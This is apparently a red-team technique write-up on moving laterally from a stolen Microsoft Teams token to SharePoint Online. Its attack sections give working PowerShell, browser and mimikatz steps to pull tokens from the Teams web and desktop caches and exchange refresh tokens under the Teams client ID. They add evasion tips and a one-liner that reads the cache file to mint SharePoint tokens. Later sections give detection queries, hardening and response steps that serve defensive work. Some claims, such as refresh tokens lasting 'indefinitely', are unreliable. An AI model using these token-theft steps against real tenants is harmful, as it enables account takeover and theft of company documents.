| Attribute | Details | |—|—| | Technique ID | LM-AUTH-014 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | M365 (Microsoft 365) | | Severity | High | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All M365 tenants with Teams & SharePoint enabled | | Patched In | N/A (Design behavior, requires mitigation) | | Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Teams and SharePoint Online share authentication contexts within the same M365 tenant. An attacker who compromises a user’s Teams session or Teams client token can abuse the unified authentication platform to access SharePoint resources without re-authentication. This lateral movement exploits the shared OAuth token cache and identity federation between Teams and SharePoint. The attack leverages the fact that both services accept the same Primary Refresh Token (PRT) or access token, allowing seamless cross-service authentication without triggering additional MFA challenges.
Attack Surface: Teams client session cache, Teams web token storage, SharePoint Online API endpoints (REST/CSOM), Microsoft Graph token endpoints.
Business Impact: An attacker gaining access to a user’s Teams session can immediately access all SharePoint sites the user has permission to (read/write/delete documents, steal intellectual property). This is particularly dangerous in organizations where Teams is the primary collaboration hub but SharePoint permissions are not regularly audited.
Technical Context: The attack typically completes in seconds once a Teams session is compromised. Detection is difficult because legitimate cross-service authentication generates identical logs. Stealth is moderate—cross-service token usage may appear in unified audit logs but often goes unreviewed.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.1.1 | Enforce MFA for all administrative users and sensitive accounts | | DISA STIG | AC-2 | Account Management (M365 accounts must have separate credential isolation per service) | | CISA SCuBA | EXC-18, SHP-5 | Shared mailbox controls and SharePoint external sharing restrictions | | NIST 800-53 | AC-3, AC-4 | Access Control and Information Flow Enforcement | | GDPR | Art. 32 | Security of Processing—access controls to prevent unauthorized data access | | DORA | Art. 9 | Protection and Prevention measures for critical infrastructure | | NIS2 | Art. 21 | Cyber Risk Management—segmentation of authentication contexts | | ISO 27001 | A.9.2.3 | Management of Privileged Access Rights; A.13.2.2 Access to Systems | | ISO 27005 | Section 8 | Risk identification in identity federation scenarios |
Supported Platforms:
Tools:
Supported Versions: All M365 tenants with Teams Web
Objective: Steal the bearer token from the Teams web session using browser DevTools.
Command (Chrome DevTools):
// Open F12 → Application → Local Storage → https://teams.microsoft.com
// Extract: access_token from indexedDB
// Alternative: Open Console and execute:
console.log(document.cookie); // May contain _U token
Expected Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF...
What This Means:
eyJ0eXA (JWT format)OpSec & Evasion:
Troubleshooting:
token) to intercept live requestsObjective: Exchange Teams token for SharePoint scope using Microsoft Graph token endpoint.
Command (PowerShell):
# Use stolen Teams token to request SharePoint token
$teams_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
$sp_resource = "https://yourtenant.sharepoint.com"
# Decode token to extract refresh_token (if present)
$decode = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($teams_token.Split('.')[1]))
$claims = $decode | ConvertFrom-Json
# Request new token with SharePoint scope
$body = @{
"grant_type" = "refresh_token"
"refresh_token" = $refresh_token # Extracted from Teams token claims
"client_id" = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Teams client ID
"resource" = "$sp_resource"
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/token" `
-Method POST -Body $body
$sp_token = $response.access_token
Expected Output:
{
"token_type": "Bearer",
"expires_in": 3599,
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
}
What This Means:
scp (scopes) including SharePoint read/writeOpSec & Evasion:
client_id combinations may trigger alert rulesclient_id: "1fec8e78-bce4-4aaf-ab1b-5451cc387264" (public Teams app) to blend inTroubleshooting:
Objective: Use the SharePoint token to enumerate and exfiltrate data.
Command (REST API):
$sp_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
$site_url = "https://yourtenant.sharepoint.com/sites/Finance"
# List all documents in Finance site
$headers = @{
"Authorization" = "Bearer $sp_token"
"Content-Type" = "application/json"
}
$response = Invoke-RestMethod `
-Uri "$site_url/_api/web/lists/getbytitle('Documents')/items" `
-Headers $headers -Method GET
$response.value | Select Title, Created, Modified
Expected Output:
Title Created Modified
----- ------- --------
Q4_Budget.xlsx 2024-12-01 10:00 2024-12-15 14:30
CostAnalysis_2025.xls 2024-11-20 09:00 2025-01-05 16:45
What This Means:
OpSec & Evasion:
User-Agent: Mozilla/5.0 to avoid Microsoft bot detectionSupported Versions: Teams Desktop (all versions)
Objective: Extract cached tokens from Teams desktop client local storage.
Command (PowerShell - Local Admin):
# Teams stores tokens in encrypted cache on Windows
$teams_cache = "$env:APPDATA\Microsoft\Teams\Cache"
$token_files = Get-ChildItem $teams_cache -Filter "*.json" -Recurse
# Look for authentication cache files
Get-ChildItem "$env:APPDATA\Microsoft\Teams" -Filter "*token*" -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
Write-Host "Token cache: $($_.FullName)"
Get-Content $_.FullName | ConvertFrom-Json
}
Expected Output:
access_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF...
refresh_token : 0.ARsA...
scope : https://graph.microsoft.com/.default offline_access
expires_in : 3600
token_type : Bearer
What This Means:
refresh_token indefinitely (does not expire)OpSec & Evasion:
Troubleshooting:
vssadmin list shadowsObjective: Exchange long-lived refresh token for SharePoint access token.
Command (PowerShell):
$refresh_token = "0.ARsA...LONG_TOKEN..."
$tenant_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$body = @{
"grant_type" = "refresh_token"
"refresh_token" = $refresh_token
"client_id" = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Teams app
"scope" = "https://yourtenant.sharepoint.com/.default offline_access"
}
$token_response = Invoke-RestMethod `
-Uri "https://login.microsoftonline.com/$tenant_id/oauth2/v2.0/token" `
-Method POST -Body $body
$sp_token = $token_response.access_token
$new_refresh = $token_response.refresh_token
Write-Host "New SharePoint Token: $sp_token"
Write-Host "New Refresh Token (valid indefinitely): $new_refresh"
Expected Output:
New SharePoint Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF...
New Refresh Token (valid indefinitely): 0.ARsA...
What This Means:
OpSec & Evasion:
offline_access scope to maintain persistence across tenant token rotationSupported Versions: Entra ID joined/hybrid joined Windows 10+ devices with Teams
Objective: Extract the PRT from Windows device and use it for cross-service authentication.
Command (PowerShell - Local System):
# PRT is stored in LSA secret on domain-joined devices
# Requires Local System or Administrative privilege
# Method 1: Use Microsoft Graph to request token (if device admin):
$prt_request = @{
"client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure PowerShell
"scope" = "https://graph.microsoft.com/.default"
"grant_type" = "refresh_token"
}
# PRT is automatically available in Entra ID joined context
# Alternative: Extract from LSASS using mimikatz or similar (requires SYSTEM)
mimikatz # privilege::debug
mimikatz # token::list
Expected Output:
Session 0, PrimaryToken: 0 (SYSTEM)
0 -> (SYSTEM)\0 (PrimaryToken: 0)
User Token [0]: \\.\0, type 0 (SYSTEM)
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use PRT to obtain SharePoint-scoped token.
Command (Azure CLI):
# On device with PRT, use Azure CLI to request tokens
az login # Uses PRT automatically
az account show # Verify token context
# Request SharePoint token
az account get-access-token --resource https://yourtenant.sharepoint.com --query accessToken -o tsv > sp_token.txt
# Use token in API call
SP_TOKEN=$(cat sp_token.txt)
curl -H "Authorization: Bearer $SP_TOKEN" \
"https://yourtenant.sharepoint.com/sites/Finance/_api/web/lists/getbytitle('Documents')/items"
Expected Output:
[
{"ID": 1, "Title": "Q4_Budget.xlsx", "Created": "2024-12-01T10:00:00Z"},
{"ID": 2, "Title": "CostAnalysis_2025.xlsx", "Created": "2024-11-20T09:00:00Z"}
]
What This Means:
OpSec & Evasion:
User-Agent strings or bulk API requests to detect anomaliesAtomic Red Team Tests:
Simulation Command (Minimal Impact):
# Simulate token extraction without actual data access
$token_file = "$env:TEMP\teams_token_simulation.txt"
$mock_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRFIn0.eyJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldCIsImFjcCI6ImFwcDEiLCJhaWQiOiI5MzQ1NjQ5NS1jOGU0LTQyZjUtYTQ5NS1jODhjM2U4ZTU3YjciLCJhcHBpZCI6IjFmZWM4ZTc4LWJjZTQtNGFhZi1hYjFiLTU0NTFjYzM4NzI2NCIsImFwcGlkYWNyIjoiMCIsImZhbWlseW5hbWUiOiJEb2UiLCJnaXZlbm5hbWUiOiJKb2huIiwiaXBhZGRyIjoiMTkyLjE2OC4xLjEwMCIsIm5hbWUiOiJKb2huIERvZSIsIm9pZCI6IjEyMzQ1Njc4LWFiY2QtZWZnaC1pamt0Iiwicm9sZXMiOlsiR3JhcGguUmVhZC5BbGwiXSwic3ViIjoiQm85dFczV3hjMWRBWGRoRm81UUZ6MWl2OUhpWUJkZ2VkczE0RzZIcU83RkkyRTgiLCJ0aWQiOiI3Mzc2YjZkOS1kNWQyLTQxZjItYjZjMi1hN2ZkMmE5NDRhNzgiLCJ1bmlxdWVfbmFtZSI6ImpvaG4uZG9lQGNvbnRvc28uY29tIiwidXBuIjoiam9obi5kb2VAY29udG9zby5jb20iLCJ1dGkiOiJuX2VQWTMwMFJrMEt1NGtuUjJsdnJBUSIsInZlciI6IjEuMCJ9.example_signature"
Write-Host "Simulated Teams token (base64 encoded): $mock_token" | Out-File $token_file
Write-Host "Token saved to: $token_file"
# Cleanup
Remove-Item $token_file -Force
Cleanup Command:
# No persistent changes with simulation
Write-Host "Token simulation complete - no data modified"
Reference:
Version: 0.9.7+ Minimum Version: 0.9.0 Supported Platforms: Windows (PowerShell 5.0+)
Installation:
Install-Module -Name AADInternals -Force
Import-Module AADInternals
Usage (Token Analysis):
# Decode and analyze Teams token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
Parse-JWTToken -Token $token | Select exp, scp, aud
# Get current access token (requires interactive session)
Get-AADIntAccessToken -SaveToCache
Version: 2.10.0+ Minimum Version: 2.0.0 Supported Platforms: Windows, macOS, Linux
Installation:
Install-Module Microsoft.Graph -Force
Connect-MgGraph -Scopes "Directory.Read.All"
Usage (List SharePoint Sites):
Get-MgSite | Select DisplayName, WebUrl
Get-MgSiteLists -SiteId "yoursiteid" | Select DisplayName
$auth = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/token" -Method POST -Body @{grant_type='refresh_token';refresh_token=$(Get-Content "$env:APPDATA\Microsoft\Teams\Cache\tokens.json" | ConvertFrom-Json | Select -ExpandProperty refresh_token);client_id='1fec8e78-bce4-4aaf-ab1b-5451cc387264';resource='https://yourtenant.sharepoint.com'} -ErrorAction SilentlyContinue; $auth.access_token | Write-Host
Rule Configuration:
o365:audit, azure_monitorazure:aad:audit, MSGraphproperties.justification, app_name, resource, operation, UserAgentSPL Query:
index=o365:audit sourcetype="azure:aad:audit"
(app_name="Teams" OR app_name="Microsoft Teams")
(operation="GetAccessTokenByRefreshToken" OR operation="IssueAccessToken")
resource=*sharepoint*
| stats dc(resource) as unique_resources by user, src_ip
| where unique_resources > 2
| table user, src_ip, unique_resources, app_name, resource
What This Detects:
Manual Configuration Steps:
"unique_resources > 2"False Positive Analysis:
| where user!="svc_*" AND user!="*_service"Source: Microsoft O365 Audit Log Schema
Rule Configuration:
AuditLogs, SigninLogsAppDisplayName, OperationName, TargetResources, ResultReasonKQL Query:
AuditLogs
| where AppDisplayName == "Microsoft Teams"
| where OperationName in ("Update service principal", "Add service principal")
or Properties contains "SharePoint" or Properties contains "oauth2/token"
| extend RequestProperties = parse_json(tostring(Properties))
| summarize TokenExchangeCount = dcount(OperationName) by
UserId, InitiatedByUser, AppDisplayName, TimeGenerated
| where TokenExchangeCount > 3
| project UserId, InitiatedByUser, AppDisplayName, TimeGenerated, TokenExchangeCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Teams-to-SharePoint Token Exchange AnomalyHigh5 minutes1 hourManual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the analytics rule
$rule = @{
DisplayName = "Teams-to-SharePoint Token Exchange"
Query = @"
AuditLogs
| where AppDisplayName == "Microsoft Teams"
| where OperationName in ("Update service principal", "Add service principal")
| extend RequestProperties = parse_json(tostring(Properties))
| summarize TokenExchangeCount = dcount(OperationName) by UserId, InitiatedByUser, AppDisplayName
| where TokenExchangeCount > 3
"@
Severity = "High"
Enabled = $true
}
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName @rule
Source: Microsoft Sentinel Detection Queries
Alert Name: “Anomalous OAuth2 token exchange between Teams and SharePoint”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud Alerts
Search-UnifiedAuditLog -Operations "IssueAccessToken", "GetAccessTokenByRefreshToken" -StartDate (Get-Date).AddDays(-1) |
Where-Object {$_.AuditData -like "*SharePoint*"} |
Select Timestamp, UserIds, ClientIP, SourceFileName |
Export-Csv -Path "C:\AuditLogs\TeamsSharePointTokens.csv"
ResourceAppId and Resource fields in AuditData blobManual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
PowerShell Alternative:
# Connect to compliance workload
Connect-IPPSSession
# Search for Teams token exchange to SharePoint
Search-UnifiedAuditLog -Free -StartDate "2026-01-01" -EndDate "2026-01-15" `
-Operations "IssueAccessToken" -ResultSize 5000 |
Where-Object {$_.AuditData -match "sharepoint"} |
Export-Csv "C:\TeamsSharePointAudit.csv"
Enforce Token Binding (Device-Bound Tokens): Configure Entra ID to bind tokens to specific devices, preventing token reuse from unauthorized locations. Applies To Versions: All M365 tenants (requires Conditional Access Premium P1+)
Manual Steps (Azure Portal):
Token Binding - Teams and SharePointManual Steps (PowerShell):
# Create Conditional Access policy for token binding
$policy = @{
DisplayName = "Enforce Token Binding"
State = "enabled"
Conditions = @{
Applications = @{ IncludeApplicationIds = @("18fbca16-1e46-458b-830f-4b0732ee9e59", "00000002-0000-0ff1-ce00-000000000000") } # Teams, SPO
Users = @{ IncludeUsers = @("All") }
}
GrantControls = @{
Operator = "AND"
BuiltInControls = @("compliantDevice", "approvedClientApp")
}
SessionControls = @{
ApplicationEnforcedRestrictions = $true
}
}
New-AzureADMSConditionalAccessPolicy @policy
Disable Cross-Tenant OAuth Token Reuse: Prevent users from exchanging tokens across service boundaries without explicit re-authentication. Applies To Versions: All M365 tenants
Manual Steps (Azure AD Portal):
Note: This limits Teams’ ability to request SharePoint tokens, forcing re-authentication
Enable Advanced Threat Protection (ATP) for Teams: Detect compromised Teams accounts attempting cross-service access. Applies To Versions: Teams all versions (Microsoft 365 Defender required)
Manual Steps (Microsoft 365 Defender):
Implement Token Refresh Rate Limiting: Limit how many times a token can be refreshed within a time window, preventing indefinite token reuse. Applies To Versions: Entra ID (via Azure AD token policy)
Manual Steps (PowerShell):
# Set token lifetime policy
$policy = New-AzureADPolicy -Definition @('{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"01:00:00","RefreshTokenLifetime":"90.00:00:00","MaxInactiveTime":"30.00:00:00"}}') -DisplayName "Restrict Token Refresh" -Type "TokenLifetimePolicy"
Get-AzureADServicePrincipal -Filter "AppId eq '1fec8e78-bce4-4aaf-ab1b-5451cc387264'" | Add-AzureADServicePrincipalPolicy -RefObject $policy
Monitor Cross-Service API Requests: Log all cross-service authentication attempts and alert on anomalies. Applies To Versions: M365 with Unified Audit Log enabled
Manual Steps (Purview):
Apply Least Privilege SharePoint Access: Remove users from broad SharePoint permission groups and assign granular site-level permissions. Applies To Versions: SharePoint Online all versions
Manual Steps (SharePoint Admin Center):
Block Suspicious Token Exchangerepo:yourorgan/repo:ref:refs/heads/main# Check if Token Binding Conditional Access is enforced
Get-AzureADMSConditionalAccessPolicy |
Where-Object {$_.DisplayName -like "*Token*Binding*"} |
Select DisplayName, State, Conditions
# Check Teams permissions in Entra ID
Get-AzureADServicePrincipal -Filter "AppId eq '1fec8e78-bce4-4aaf-ab1b-5451cc387264'" |
Get-AzureADServiceAppRoleAssignment |
Select DisplayName, Id
Expected Output (If Secure):
DisplayName State
----------- -----
Token Binding Policy enabled
DisplayName Id
----------- --
Microsoft Graph (User.Read only) 1234567890abcdef
What to Look For:
_api/ endpoints from non-browser user agentsIndexedDB under teams.microsoft.com%APPDATA%\Microsoft\Teams\Cache\tokens.jsonSet-AzureADUser -ObjectId "user@yourtenant.onmicrosoft.com" -AccountEnabled $false
Manual (Azure Portal):
Search-UnifiedAuditLog -UserIds "attacker@yourtenant.onmicrosoft.com" -StartDate (Get-Date).AddDays(-7) -ResultSize 5000 |
Export-Csv "C:\Evidence\AttackerAuditLog.csv"
Manual:
# Revoke all user sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "attacker@yourtenant.onmicrosoft.com"
# Force re-authentication
Update-MgUser -UserId "attacker@yourtenant.onmicrosoft.com" -PasswordProfile @{ForceChangePasswordNextSignIn=$true}
Manual:
Search-UnifiedAuditLog -Operations "FileDownloaded", "FileAccessedExtended" -StartDate (Get-Date).AddDays(-7) -ResultSize 5000 |
Where-Object {$_.AuditData -like "*attacker@yourtenant*"} | Export-Csv "C:\Evidence\SharePointAccess.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker tricks user into granting Teams app elevated permissions |
| 2 | Credential Access | [CA-TOKEN-001] Hybrid AD Cloud Token Theft | Attacker extracts Teams session token from compromised device |
| 3 | Current Step | [LM-AUTH-014] | Microsoft Teams to SharePoint Authentication Bypass |
| 4 | Collection | [Collection] SharePoint Document Enumeration | Attacker discovers and exfiltrates sensitive documents |
| 5 | Exfiltration | [Exfiltration] Bulk Data Download | Attacker downloads documents via SharePoint REST API |
| 6 | Impact | [Impact] Data Breach, IP Theft | Attacker sells stolen data or causes business disruption |
%APPDATA%\Microsoft\Teams\Cache. Used token to request SharePoint access without user knowledge.Technique Complexity: Moderate (requires prior Teams session compromise, but token reuse is trivial)
Detection Difficulty: Medium (legitimate cross-service auth, requires log correlation and behavioral analysis)
Persistence Potential: High (refresh tokens can persist indefinitely if not rotated)
Cross-Platform Applicability: High (affects all M365 tenants with Teams + SharePoint)
Related Techniques: